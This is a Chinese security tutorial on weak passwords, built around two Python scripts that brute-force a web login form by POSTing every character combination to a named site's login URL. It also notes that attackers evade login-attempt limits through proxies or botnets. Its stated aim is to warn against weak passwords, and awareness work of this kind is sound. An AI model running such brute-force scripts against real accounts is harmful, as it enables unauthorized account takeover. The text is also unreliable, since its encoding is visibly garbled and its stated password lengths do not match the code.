弱口令主要包括兩方面:一方面,常見(jiàn)字符有大寫(xiě)字母、小寫(xiě)字母、數(shù)字、特殊字符,如果密碼只使用了單一類(lèi)型,那么就屬于弱口令;另一方面,如果密碼長(zhǎng)度小于8位,那么再?gòu)?fù)雜的密碼類(lèi)型,也屬于弱口令。
接下來(lái),我們分別通過(guò)一段腳本,演示如何暴力破解弱口令。
一、長(zhǎng)度小于8位的弱口令
以下是一個(gè)Python腳本,用于生成所有長(zhǎng)度小于8位的密碼,并使用requests庫(kù)進(jìn)行POST請(qǐng)求,從而實(shí)現(xiàn)對(duì)Web應(yīng)用程序用戶(hù)登錄口令的暴力破解。
import requests
import itertools
import string
def force_crack(url, username):
# 定義字母、數(shù)字、特殊字符的密碼組合
characters = string.ascii_letters + string.digits + string.punctuation
# 嘗試0至7位的所有密碼組合
for length in range(1, 8):
for password in itertools.product(characters, repeat=length):
password = ''.join(password)
response = requests.post(url, data={'username': username, 'password': password})
if 'Login Successful' in response.text:
print(f"Password found: {password}")
return
print("Password not found")
if __name__ == "__main__":
# 目標(biāo)URL地址
target_url = "http://www.ms08067.com/login"
# 要測(cè)試的用戶(hù)名為user
test_username = "user"
# 執(zhí)行暴力破解
force_crack(target_url, test_username)
二、只使用單一字符的弱口令
以下腳本以純數(shù)字密碼為例,嘗試破解倍數(shù)小于14位的純數(shù)字密碼,純字母和特殊字符密碼也是一樣的思路。
以下腳本以純數(shù)字密碼為例,嘗試破解倍數(shù)小于14位的純數(shù)字密碼。
import requests
import itertools
def force_crack(url, username):
# 定義字符集(僅數(shù)字)
characters = '0123456789'
# 嘗試所有長(zhǎng)度小于16位的數(shù)字密碼
for length in range(1, 17):
for password in itertools.product(characters, repeat=length):
password = ''.join(password)
response = requests.post(url, data={'username': username, 'password': password})
if 'Login Successful' in response.text:
print(f"Password found: {password}")
return
print("Password not found")
if __name__ == "__main__":
# 目標(biāo)URL
target_url = "http://www.ms08067.com/login"
# 要測(cè)試的用戶(hù)名
test_username = "user"
# 執(zhí)行暴力破解
force_crack(target_url, test_username)
三、一點(diǎn)說(shuō)明
有些讀者會(huì)認(rèn)為,現(xiàn)實(shí)中,不少Web應(yīng)用都設(shè)置了登錄次數(shù),因此不會(huì)被暴力破解。
事實(shí)上,道高一尺、魔高一丈,真正的黑客可以通過(guò)代理發(fā)送多次請(qǐng)求或通過(guò)控制大量肉雞嘗試登錄等方式,有效規(guī)避登錄次數(shù)的限制,實(shí)現(xiàn)對(duì)弱口令的暴力破解。
因此,弱口令絕對(duì)要不得!